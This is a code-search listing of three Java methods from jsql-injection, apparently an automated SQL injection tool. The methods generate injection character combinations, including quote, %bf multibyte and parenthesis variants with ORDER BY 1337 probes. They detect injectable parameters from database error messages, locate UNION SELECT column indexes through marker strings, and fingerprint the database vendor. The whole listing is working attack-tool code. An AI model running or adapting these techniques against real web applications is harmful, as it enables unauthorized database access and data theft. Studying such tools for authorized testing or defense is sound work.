Search in sources :

Example 1 with CallablePageSource

use of com.jsql.model.suspendable.callable.CallablePageSource in project jsql-injection by ron190.

the class SuspendableGetCharInsertion method run.

/**
 */
@SuppressWarnings("unchecked")
@Override
public String run(Object... args) throws JSqlException {
    String characterInsertionByUser = (String) args[0];
    SimpleEntry<String, String> parameterToInject = (SimpleEntry<String, String>) args[1];
    boolean isJson = (boolean) args[2];
    // Parallelize the search and let the user stops the process if needed.
    // SQL: force a wrong ORDER BY clause with an inexistent column, order by 1337,
    // and check if a correct error message is sent back by the server:
    // Unknown column '1337' in 'order clause'
    // or   supplied argument is not a valid MySQL result resource
    ExecutorService taskExecutor = Executors.newCachedThreadPool(new ThreadFactoryCallable("CallableGetInsertionCharacter"));
    CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
    List<String> charactersInsertion = new ArrayList<>();
    for (String prefix : new String[] { "-1", "0", "1", "" }) {
        for (String suffix : new String[] { "*", "*'", "'*'", "*\"", "\"*\"", "*%bf'", "%bf'*%bf'", "*%bf\"", "%bf\"*%bf\"" }) {
            for (String suffix2 : new String[] { "", ")", "))" }) {
                charactersInsertion.add(suffix.replace("*", prefix) + suffix2);
            }
        }
    }
    for (String insertionCharacter : charactersInsertion) {
        taskCompletionService.submit(new CallablePageSource(insertionCharacter + " " + MediatorModel.model().getVendor().instance().sqlOrderBy(), insertionCharacter));
    }
    String characterInsertion = null;
    int total = charactersInsertion.size();
    while (0 < total) {
        if (this.isSuspended()) {
            throw new StoppedByUserSlidingException();
        }
        try {
            CallablePageSource currentCallable = taskCompletionService.take().get();
            total--;
            String pageSource = currentCallable.getContent();
            if (// the correct character: mysql
            Pattern.compile(".*Unknown column '1337' in 'order clause'.*", Pattern.DOTALL).matcher(pageSource).matches() || Pattern.compile(".*supplied argument is not a valid MySQL result resource.*", Pattern.DOTALL).matcher(pageSource).matches() || // the correct character: postgresql
            Pattern.compile(".*ORDER BY position 1337 is not in select list.*", Pattern.DOTALL).matcher(pageSource).matches()) {
                characterInsertion = currentCallable.getInsertionCharacter();
                break;
            }
        } catch (InterruptedException | ExecutionException e) {
            LOGGER.error("Interruption while defining character injection", e);
        }
    }
    if (characterInsertion == null) {
        if ("".equals(characterInsertionByUser) || characterInsertionByUser == null || "*".equals(characterInsertionByUser)) {
            characterInsertion = "1";
        } else {
            characterInsertion = characterInsertionByUser;
        }
        LOGGER.warn("No character insertion activates ORDER BY error, forcing to [" + characterInsertion.replace(InjectionModel.STAR, "") + "]");
    } else if (!characterInsertionByUser.replace(InjectionModel.STAR, "").equals(characterInsertion)) {
        String characterInsertionByUserFormat = characterInsertionByUser.replace(InjectionModel.STAR, "");
        LOGGER.debug("Found character insertion [" + characterInsertion + "] in place of [" + characterInsertionByUserFormat + "] to detect error on ORDER BY");
        LOGGER.trace("Add manually the character * like [" + characterInsertionByUserFormat + "*] to force the value [" + characterInsertionByUserFormat + "]");
    }
    if (!isJson) {
        characterInsertion = characterInsertion.replace(InjectionModel.STAR, "") + InjectionModel.STAR;
    }
    parameterToInject.setValue(characterInsertion);
    // TODO optional
    return characterInsertion;
}
Also used : SimpleEntry(java.util.AbstractMap.SimpleEntry) ArrayList(java.util.ArrayList) ExecutorCompletionService(java.util.concurrent.ExecutorCompletionService) CallablePageSource(com.jsql.model.suspendable.callable.CallablePageSource) ThreadFactoryCallable(com.jsql.model.suspendable.callable.ThreadFactoryCallable) ExecutorService(java.util.concurrent.ExecutorService) StoppedByUserSlidingException(com.jsql.model.exception.StoppedByUserSlidingException) ExecutionException(java.util.concurrent.ExecutionException)

Example 2 with CallablePageSource

use of com.jsql.model.suspendable.callable.CallablePageSource in project jsql-injection by ron190.

the class SuspendableGetIndexes method run.

/**
 */
@Override
public String run(Object... args) throws JSqlException {
    // Parallelize the search
    ExecutorService taskExecutor = Executors.newCachedThreadPool(new ThreadFactoryCallable("CallableGetIndexes"));
    CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
    boolean isRequestFound = false;
    String initialQuery = "";
    int nbIndex;
    // pages that display our own url in the source
    for (nbIndex = 1; nbIndex <= 10; nbIndex++) {
        taskCompletionService.submit(new CallablePageSource(MediatorModel.model().getVendor().instance().sqlIndices(nbIndex)));
    }
    try {
        // Start from 10 to 100 requests
        while (!isRequestFound && nbIndex <= 100) {
            if (this.isSuspended()) {
                throw new StoppedByUserSlidingException();
            }
            CallablePageSource currentCallable = taskCompletionService.take().get();
            // Found a correct mark 1337[index]7331 in the source
            if (Pattern.compile("(?s).*1337\\d+7331.*").matcher(currentCallable.getContent()).matches()) {
                MediatorModel.model().setSrcSuccess(currentCallable.getContent());
                initialQuery = currentCallable.getUrl().replaceAll("0%2b1", "1");
                isRequestFound = true;
            } else {
                // Else add a new index
                taskCompletionService.submit(new CallablePageSource(MediatorModel.model().getVendor().instance().sqlIndices(nbIndex)));
                nbIndex++;
            }
        }
        taskExecutor.shutdown();
        taskExecutor.awaitTermination(15, TimeUnit.SECONDS);
    } catch (InterruptedException | ExecutionException e) {
        LOGGER.error("Interruption while determining injection indexes", e);
    }
    if (isRequestFound) {
        return initialQuery.replaceAll("\\+\\+union\\+select\\+.*?--\\+$", "+");
    }
    // TODO optional
    return "";
}
Also used : ExecutorService(java.util.concurrent.ExecutorService) StoppedByUserSlidingException(com.jsql.model.exception.StoppedByUserSlidingException) ExecutorCompletionService(java.util.concurrent.ExecutorCompletionService) CallablePageSource(com.jsql.model.suspendable.callable.CallablePageSource) ThreadFactoryCallable(com.jsql.model.suspendable.callable.ThreadFactoryCallable) ExecutionException(java.util.concurrent.ExecutionException)

Example 3 with CallablePageSource

use of com.jsql.model.suspendable.callable.CallablePageSource in project jsql-injection by ron190.

the class SuspendableGetVendor method run.

/**
 */
@Override
public Vendor run(Object... args) throws StoppedByUserSlidingException {
    Vendor vendor = null;
    if (MediatorModel.model().getVendorByUser() != Vendor.AUTO) {
        vendor = MediatorModel.model().getVendorByUser();
        LOGGER.info(I18n.valueByKey("LOG_DATABASE_TYPE_FORCED_BY_USER") + " [" + vendor + "]");
    } else {
        // Parallelize the search and let the user stops the process if needed.
        // SQL: force a wrong ORDER BY clause with an inexistent column, order by 1337,
        // and check if a correct error message is sent back by the server:
        // Unknown column '1337' in 'order clause'
        // or   supplied argument is not a valid MySQL result resource
        ExecutorService taskExecutor = Executors.newCachedThreadPool(new ThreadFactoryCallable("CallableGetVendor"));
        CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
        for (String insertionCharacter : new String[] { "'\"#-)'\"" }) {
            taskCompletionService.submit(new CallablePageSource(insertionCharacter, insertionCharacter));
        }
        int total = 1;
        while (0 < total) {
            if (this.isSuspended()) {
                throw new StoppedByUserSlidingException();
            }
            try {
                CallablePageSource currentCallable = taskCompletionService.take().get();
                total--;
                String pageSource = currentCallable.getContent();
                for (Vendor vendorTest : Stream.of(Vendor.values()).skip(1).toArray(Vendor[]::new)) {
                    if (pageSource.matches("(?si).*(" + vendorTest.instance().fingerprintErrorsAsRegex() + ").*")) {
                        vendor = vendorTest;
                        LOGGER.debug("Found database [" + vendor + "]");
                        break;
                    }
                }
            } catch (InterruptedException | ExecutionException e) {
                LOGGER.error("Interruption while determining the type of database", e);
            }
        }
        // End the job
        try {
            taskExecutor.shutdown();
            taskExecutor.awaitTermination(15, TimeUnit.SECONDS);
        } catch (InterruptedException e) {
            LOGGER.error(e.getMessage(), e);
            Thread.currentThread().interrupt();
        }
        if (vendor == null) {
            vendor = Vendor.MYSQL;
            LOGGER.warn(I18n.valueByKey("LOG_DATABASE_TYPE_NOT_FOUND") + " [" + vendor + "]");
        } else {
            LOGGER.info(I18n.valueByKey("LOG_USING_DATABASE_TYPE") + " [" + vendor + "]");
            Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
            msgHeader.put(Header.URL, ConnectionUtil.getUrlBase() + ParameterUtil.getQueryStringAsString());
            msgHeader.put(Header.VENDOR, vendor);
            Request requestDatabaseIdentified = new Request();
            requestDatabaseIdentified.setMessage(Interaction.DATABASE_IDENTIFIED);
            requestDatabaseIdentified.setParameters(msgHeader);
            MediatorModel.model().sendToViews(requestDatabaseIdentified);
        }
    }
    Request requestSetVendor = new Request();
    requestSetVendor.setMessage(Interaction.SET_VENDOR);
    requestSetVendor.setParameters(vendor);
    MediatorModel.model().sendToViews(requestSetVendor);
    return vendor;
}
Also used : Request(com.jsql.model.bean.util.Request) ExecutorCompletionService(java.util.concurrent.ExecutorCompletionService) Vendor(com.jsql.model.injection.vendor.Vendor) CallablePageSource(com.jsql.model.suspendable.callable.CallablePageSource) ThreadFactoryCallable(com.jsql.model.suspendable.callable.ThreadFactoryCallable) Header(com.jsql.model.bean.util.Header) ExecutorService(java.util.concurrent.ExecutorService) StoppedByUserSlidingException(com.jsql.model.exception.StoppedByUserSlidingException) ExecutionException(java.util.concurrent.ExecutionException) EnumMap(java.util.EnumMap)

Aggregations

StoppedByUserSlidingException (com.jsql.model.exception.StoppedByUserSlidingException)3 CallablePageSource (com.jsql.model.suspendable.callable.CallablePageSource)3 ThreadFactoryCallable (com.jsql.model.suspendable.callable.ThreadFactoryCallable)3 ExecutionException (java.util.concurrent.ExecutionException)3 ExecutorCompletionService (java.util.concurrent.ExecutorCompletionService)3 ExecutorService (java.util.concurrent.ExecutorService)3 Header (com.jsql.model.bean.util.Header)1 Request (com.jsql.model.bean.util.Request)1 Vendor (com.jsql.model.injection.vendor.Vendor)1 SimpleEntry (java.util.AbstractMap.SimpleEntry)1 ArrayList (java.util.ArrayList)1 EnumMap (java.util.EnumMap)1